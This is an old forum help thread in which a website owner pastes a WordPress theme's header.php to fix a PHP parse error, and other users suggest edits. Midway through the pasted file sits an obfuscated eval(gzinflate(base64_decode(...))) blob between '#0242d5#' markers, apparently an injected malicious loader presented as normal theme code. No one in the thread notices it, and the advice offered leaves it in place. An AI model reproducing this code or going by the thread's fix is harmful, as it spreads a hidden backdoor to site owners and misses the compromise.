Warning

 

Close
Confirm Action

Are you sure you wish to do this?

Cancel Confirm
AR15.COM
4/3/2013 12:55:01 PM EDT
My website is getting an error.  Does anyone know where to start?  The code is...

Parse error: syntax error, unexpected '}' in /home/svhelec/public_html/wp-content/themes/glide/header.php on line 294

Thanks!
4/3/2013 12:56:09 PM EDT
[#1]
Post line 294 please.
4/3/2013 12:59:11 PM EDT
[#2]
Quoted:
Post line 294 please.


This. unmatched } somewhere.
4/3/2013 1:10:56 PM EDT
[#3]
How do I find line 294?

The website has been untouched in 3 years and a customer let us know it wasn't working yesterday.  
4/3/2013 1:30:23 PM EDT
[#4]
do you have shell access to the file?
4/3/2013 1:31:50 PM EDT
[#5]
Go to the directory '/home/svhelec/public_html/wp-content/themes/glide/'

Open 'header.php'

post line 294

profit

ETA: Most text editors have an option to turn on line numbers.
4/3/2013 1:45:28 PM EDT
[#6]
Maybe I need more help on this.

I don't know what shell access is.  It's a wordpress site.  I don't know how to get to the directory posted above.  
4/3/2013 1:59:40 PM EDT
[#7]
Quoted:
Maybe I need more help on this.

I don't know what shell access is.  It's a wordpress site.  I don't know how to get to the directory posted above.  


Ok, so you can't SSH to the server....does your web-based control panel give you the abillity to view the contents of files?
4/4/2013 3:56:27 AM EDT
[#8]
Quoted:
Quoted:
Maybe I need more help on this.

I don't know what shell access is.  It's a wordpress site.  I don't know how to get to the directory posted above.  


Ok, so you can't SSH to the server....does your web-based control panel give you the abillity to view the contents of files?


I was assuming that wordpress websites were all the same, obviously I was wrong.  

I don't know what you are telling me to do to the server and when you say ability to view the contents of files, do you mean like pictures and what not?  I can see my image gallery, and I can change text.

Glide is the "theme" that the website is through wordpress.  I'm assuming that the header is part of the theme.
4/7/2013 9:51:16 AM EDT
[#9]
Okay, back again.  Any quick way to find line 294?

<?php global $verso_themeoptions; // Loads Theme Options ?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta charset="utf-8" />
<title><?php verso_title(); ?></title>

<meta name="viewport" content="width=1040" />

<!--Theme Stylesheets -->
<link href='http://fonts.googleapis.com/css?family=PT+Sans:regular,bold,italic|Droid+Sans:regular,bold,bold,bolditalic' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?>" type="text/css">
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/prettyPhoto.css" type="text/css" />

<?php if(isset($verso_themeoptions['upload_favicon']) && $verso_themeoptions['upload_favicon'] != '') { ?>
<!--Favicon-->
<link href="<?php echo trim($verso_themeoptions['upload_favicon']); ?>" rel="shortcut icon"/>
<?php }

/*---------------------------------------------*/
/*Enqueues Javascript
/*---------------------------------------------*/

wp_enqueue_script( 'jquery');
wp_enqueue_script('versopress-swf', get_template_directory_uri().'/js/swfobject.js ', array('jquery'),'',true);
wp_enqueue_script('versopress-hoverintent', get_template_directory_uri().'/js/jquery.hoverintent.js ', array('jquery'),'',true);
wp_enqueue_script('versopress-menu', get_template_directory_uri().'/js/jquery.superfish.js ', array('jquery'),'',true);
wp_enqueue_script('versopress-lightbox', get_template_directory_uri().'/js/jquery.prettyPhoto.min.js ', array('jquery'),'',true);
wp_enqueue_script('versopress-tooltips', get_template_directory_uri().'/js/jquery.tipsy.js ', array('jquery'),'',true);
wp_enqueue_script('versopress-custom', get_template_directory_uri().'/js/jquery.custom.js ', array('jquery'),'',true);
if ( is_singular() ) wp_enqueue_script( 'comment-reply');

/*
* Checks to see if js needs to be loaded for sliders
*/
global $nivo_loaded;
global $anything_loaded;
global $kwicks_loaded;
global $galleria_loaded;
$sc_slider = false;
if(preg_match( '#\[ *slider([^\]])*\]#i', $post->post_content )) { $sc_slider = true; }
if($nivo_loaded || $sc_slider ) { //checks if slider used is nivo (homepage)
wp_enqueue_script('versopress-nivo', get_template_directory_uri().'/js/jquery.nivo.slider.pack.js ', array('jquery'),'',true);
?><link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/nivo-slider.css" type="text/css" />

<?php }


if($anything_loaded) { //checks if slider used is anything (homepage)
wp_enqueue_script('versopress-anything', get_template_directory_uri().'/js/jquery.anythingslider.min.js ', array('jquery'),'',true);
?><link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/anythingslider.css" type="text/css" />
<?php
}

if($kwicks_loaded) { //checks if slider used is kwicks (homepage)
wp_enqueue_script('versopress-kwicks', get_template_directory_uri().'/js/jquery.kwicks.js ', array('jquery'),'',true);
}

if($kwicks_loaded || $anything_loaded) {
wp_enqueue_script('versopress-easing', get_template_directory_uri().'/js/jquery.easing.min.js ', array('jquery'),'',true);
}

if($galleria_loaded) {
wp_enqueue_script('versopress-galleria', get_template_directory_uri().'/js/galleria.min.js', array('jquery'),'');
wp_enqueue_script('versopress-galleria-theme', get_template_directory_uri().'/gal_themes/classic/galleria.classic.js', array('jquery'),'');
}
?>
<?php
/* iOS Swipe Events */
if(strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || strstr($_SERVER['HTTP_USER_AGENT'],'iPod') || strstr($_SERVER['HTTP_USER_AGENT'],'iPad')) {
wp_enqueue_script('versopress-ios', get_template_directory_uri().'/js/ios.js', array('jquery'),'',true);
}
/*---------------------------------------------*/
/*End Of Slider JS Checks
/*---------------------------------------------*/
?>


<?php // Adds template uri as a javascript global. Used in some JS functions ?>
<script type="text/javascript">
var templateDir = "<?php echo get_template_directory_uri(); ?>";
</script>


<?php wp_head(); ?>
<?
#0242d5#
                                                                                                                                                                                                                                                         eval(gzinflate(base64_decode("5VVLb5tAEL73V3g5VCCnmJcXt4QUKaeeeyw9rGHBVI6hLLEbW/7vnZmFWDhJI7m5xVqZ3Xl88+08QGaremJM3u3vWmVt1XST7qGRcWp08k83+yW2QotTY7IWm/JelKgcyW/eb86auBGtkt82XaRUbLqeb3393rXVprSLtr67XYn2ts7lFycSqvwNifMWjHMWzhmXjPssDBhPGC/w6DkMtF6Cm3DJciZINKyQM+6y0KM9oABEhns/x38eEIpP0DlpJaJ7OoxHEpfizVlAvvzMEmKHxIaTvdtrQQicfE3oCalHIoCh4/gnUoi3QGxcIATfAhfYIFni0u8lrfmTnMjBIEdHxNHUOEV0CJ8C+ctXyYFz0l+8dy5QDsHOynBiD5E8sinQEXKrE3hJPADCeF5/b13Ix0j+ZZfgWguSIdUjUBdvGS4uy49uBioeQL8Zbt95/G3JUvuHzmuI56i63fvJc/85RSFVLXh+eAIP6QSULz1IJ740Py+O9YjNy+GhGtg6ydCA+lIZuST4bugvE+D159mIgT76Eu294uQCktFwX0Drf7Mi6aXk0DDqdyJ4+dTWurrkePJ6lmuYkwgeCLnQVqlht7JZi0yas2RWXqXG59SwbNWsq85MDQaHqGsfDnmd3d/JTWcv6/zhY+zY7jETXbYyy1yVKi+tw34f+1G+VKtWxt4iqgpTH6zDttjuZOyMcKLeXaD/YOJGR3BjdLAOMpZbsY6OCr4HqYGA+71V1K1ZAVb1KYBC42Y6tQ6g21WbvN7ZA76lprFSZmPiB+VH9fPK5ZZF8OeG0lSgOF7P9If65oMR/QU=")));

#/0242d5#
?>
<?php if($sc_slider) { // Adds JS only if Nivo Slider is used as a shortcode ?>
<script type="text/javascript">
jQuery(window).load(function() {
jQuery('.page-slider').nivoSlider({directionNav: false, borderRadius:0 });
});
</script>
<?php } ?>

<?php
/*---------------------------------------------*/
/* Code below calculates the height of the slider, as well as the width of the Accordion Slider slides
/*---------------------------------------------*/

$page_meta = get_post_meta($post->ID,'_vppageopt',TRUE); // grab meta info ?>
<?php if(isset($page_meta['home_slider_height']) && $page_meta['home_slider_height'] != ''){$slider_height=$page_meta['home_slider_height'];} else {$slider_height = 350;} ?>
<?php if(isset($page_meta['home_slider_type']) && $page_meta['home_slider_type'] == 'accordion'){
$args = array( 'post_type' => 'vp_slider', 'page_id' => $page_meta['home_slider'], 'posts_per_page' => -1 );
$loop = new WP_Query( $args );
while ( $loop->have_posts() ) : $loop->the_post();
$slider_meta = get_post_meta($post->ID,'_slider',TRUE);
$slider_atts =  json_decode($slider_meta['unparsed_slider'], TRUE);
$slidecounter = 0;
foreach($slider_atts as $value) {
if($value['imageurl'] != '') {
$slidecounter++;
} //end if
}// end foreach
endwhile;
$csswidth = ((962/$slidecounter)/962)*100; ?>
<style type="text/css">
#slidercont {
height:<?php echo $slider_height; ?>px;
width: <?php echo (intval(962/$slidecounter)*$slidecounter); ?>px;
margin:0 auto;
}
.kwicks {
height:<?php echo $slider_height; ?>px;
}
.kwicks li{
width:<?php echo $csswidth;?>%;
}
</style>

<?php
/*---------------------------------------------*/
/* End Of Slider Functions
/*---------------------------------------------*/
}?>



<!--[if IE]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->



<!--[if lte IE 8]>
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/ie78.css" type="text/css" />
<![endif]-->

<!--[if IE 7]>
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/ie7.css" type="text/css" />
<![endif]-->

<!--[if (gte IE 6)&(lte IE 8)]>
 <script type="text/javascript" src="<?php echo get_template_directory_uri().'/js/'; ?>selectivizr-min.js"></script>
<![endif]-->



</head>

<body id="index" <?php body_class('dark'); ?>>


<header<?php if(breadcrumb_enabled()) { echo ' class="breadcrumbs-header"'; } ?>>

<div class="header-pattern"><!--START header-pattern-->
<div class="header-glow"><!--START header-glow-->

<?php if($verso_themeoptions['enable_quicklinks'] == 'enabled' || $verso_themeoptions['header_dribbble_icon'] != '' || $verso_themeoptions['header_forrst_icon'] != '' || $verso_themeoptions['header_linkedin_icon'] != '' || $verso_themeoptions['header_tumblr_icon'] != '' || $verso_themeoptions['header_delicious_icon'] != '' || $verso_themeoptions['header_youtube_icon'] != '' || $verso_themeoptions['header_flickr_icon'] != '' || $verso_themeoptions['header_facebook_icon'] != '' || $verso_themeoptions['header_twitter_icon'] != '' || $verso_themeoptions['header_rss_icon'] != '' || $verso_themeoptions['enable_header_search']) { ?>
<div class="header-linkbar">
<div class="wrapper">
<?php $menu_args1 = array(
'theme_location' => 'quicklinks_menu',
'menu_class' => 'links',
'container' => false,
'depth' => 1
); ?>

<?php if($verso_themeoptions['enable_quicklinks'] == 'enabled') { ?>
<?php wp_nav_menu($menu_args1); ?>
<?php } ?>



<?php if($verso_themeoptions['header_dribbble_icon'] != '' || $verso_themeoptions['header_forrst_icon'] != '' || $verso_themeoptions['header_linkedin_icon'] != '' || $verso_themeoptions['header_tumblr_icon'] != '' || $verso_themeoptions['header_delicious_icon'] != '' || $verso_themeoptions['header_youtube_icon'] != '' || $verso_themeoptions['header_flickr_icon'] != '' || $verso_themeoptions['header_facebook_icon'] != '' || $verso_themeoptions['header_twitter_icon'] != '' || $verso_themeoptions['header_rss_icon'] != '' || $verso_themeoptions['enable_header_search'])
{
?>
<div class="header-social-container">

<?php if($verso_themeoptions['header_dribbble_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_dribbble_icon'] ?>" title="Find Us On Dribbble" class="header-social dribbble">Dribbble</a>
<?php } ?>
<?php if($verso_themeoptions['header_forrst_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_forrst_icon'] ?>" title="Find Us On Forrst" class="header-social forrst">Forrst</a>
<?php } ?>
<?php if($verso_themeoptions['header_linkedin_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_linkedin_icon'] ?>" title="Find Us On LinkedIn" class="header-social linkedin">LinkedIn</a>
<?php } ?>
<?php if($verso_themeoptions['header_tumblr_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_tumblr_icon'] ?>" title="Find Us On Tumblr" class="header-social tumblr">Tumblr</a>
<?php } ?>
<?php if($verso_themeoptions['header_delicious_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_delicious_icon'] ?>" title="Find Us On Delicious" class="header-social delicious">Delicious</a>
<?php } ?>
<?php if($verso_themeoptions['header_youtube_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_youtube_icon'] ?>" title="Find Us On YouTube" class="header-social youtube">YouTube</a>
<?php } ?>
<?php if($verso_themeoptions['header_flickr_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_flickr_icon'] ?>" title="Find Us On Flickr" class="header-social flickr">Flickr</a>
<?php } ?>
<?php if($verso_themeoptions['header_facebook_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_facebook_icon'] ?>" title="Find Us On Facebook" class="header-social facebook">Facebook</a>
<?php } ?>
<?php if($verso_themeoptions['header_twitter_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_twitter_icon'] ?>" title="Follow Us On Twitter" class="header-social twitter">Twitter</a>
<?php } ?>
<?php if($verso_themeoptions['header_rss_icon'] != '') { ?>
<a href="<?php echo $verso_themeoptions['header_rss_icon'] ?>" title="Subscribe To Our Feed" class="header-social rss">RSS</a>
<?php } ?>


<?php if(isset($verso_themeoptions['enable_header_search']) && $verso_themeoptions['enable_header_search']) { ?>
<form class="header-search-form" role="search" method="get" id="searchform-header" action="<?php echo site_url();?>/">
<input name="s" placeholder="" class="header-search" type="text" value=""><!--header-search-->
</form>
<?php } ?>

</div><!--END .header-social-container-->
<?php } ?>


</div><!--END .wrapper-->
<div class="clear"></div><!--.clear-->
</div><!--END .header-linkbar-->
<div class="clear"></div><!--.clear-->
<?php } ?>

<?php if(isset($verso_themeoptions['nav_position']) &&  $verso_themeoptions['nav_position'] == 'top') { ?>
<nav>
<?php $menu_args = array(
'container_id' => 'menu-main-menu-container',
'menu_id' => 'menu-main-menu',
'theme_location' => 'main_menu',
'menu_class' => 'main-nav wrapper sf-menu',
'link_after' => '<span class="left"></span>'
); ?>

<?php wp_nav_menu($menu_args); ?>
</nav>
<div class="clear"></div>
<?php } ?>

<div class="header-container wrapper">
<?php if($verso_themeoptions['upload_logo'] != '') { ?>
<a class="logo-link" href="<?php echo home_url(); ?>">
<img class="logo-image" src="<?php echo $verso_themeoptions['upload_logo']; ?>" alt="<?php echo bloginfo('name');?>" />
</a>
<?php } else { ?>
<a href="<?php echo home_url(); ?>"><span class="logo-text"><?php bloginfo('site'); ?></span></a>
<?php } // end logo?>


<div class="header-right<?php if($verso_themeoptions['enable_quicklinks'] != 'enabled') { echo ' no-quicklinks'; }?>">

<?php if(isset($verso_themeoptions['header_text']) && $verso_themeoptions['header_text'] != '') { ?>
<?php echo do_shortcode(stripslashes($verso_themeoptions['header_text'])); ?>
<?php } ?>


</div><!--header-right-->

<div class="clear"></div>
</div><!--END wrapper-->

<?php if(!isset($verso_themeoptions['nav_position']) ||  $verso_themeoptions['nav_position'] == 'normal') { ?>
<nav>
<?php $menu_args = array(
'container_id' => 'menu-main-menu-container',
'menu_id' => 'menu-main-menu',
'theme_location' => 'main_menu',
'menu_class' => 'main-nav wrapper sf-menu',
'link_after' => '<span class="left"></span>'
); ?>

<?php wp_nav_menu($menu_args); ?>
</nav>
<div class="clear"></div>
<?php } ?>

<?php } else { ?>
<a href="<?php echo home_url(); ?>"><span class="logo-text"><?php bloginfo('site'); ?></span></a>
<?php } // end logo?>


<div class="header-right<?php if($verso_themeoptions['enable_quicklinks'] != 'enabled') { echo ' no-quicklinks'; }?>">

<?php if(isset($verso_themeoptions['header_text']) && $verso_themeoptions['header_text'] != '') { ?>
<?php echo do_shortcode(stripslashes($verso_themeoptions['header_text'])); ?>
<?php } ?>


</div><!--header-right-->

<div class="clear"></div>
</div><!--END wrapper-->

<?php if(!isset($verso_themeoptions['nav_position']) ||  $verso_themeoptions['nav_position'] == 'normal') { ?>
<nav>
<?php $menu_args = array(
'container_id' => 'menu-main-menu-container',
'menu_id' => 'menu-main-menu',
'theme_location' => 'main_menu',
'menu_class' => 'main-nav wrapper sf-menu',
'link_after' => '<span class="left"></span>'
); ?>

<?php wp_nav_menu($menu_args); ?>
</nav>
<div class="clear"></div>
<?php } ?>
4/7/2013 9:56:16 AM EDT
[#10]
Okay, found line 294

<div class="clear"></div>

Why is this an error?  
4/7/2013 9:59:47 AM EDT
[#11]
Take that code out, see if it helps
4/7/2013 10:00:55 AM EDT
[#12]
That code is improper.

Check out standards and use them.
4/7/2013 10:06:11 AM EDT
[#13]
Quoted:
Take that code out, see if it helps


AWESOME!!!  Thank you so much!  The website at least works now, but my header picture is gone.
4/7/2013 10:07:39 AM EDT
[#14]
You'd probably get a quicker solution in the Wordpress forums. It's more like Penthouse here.
4/7/2013 10:08:49 AM EDT
[#15]
Quoted:
Quoted:
Take that code out, see if it helps


AWESOME!!!  Thank you so much!  The website at least works now, but my header picture is gone.


Id fix it for you if I had PC access, pm me and I can look at it tomorrow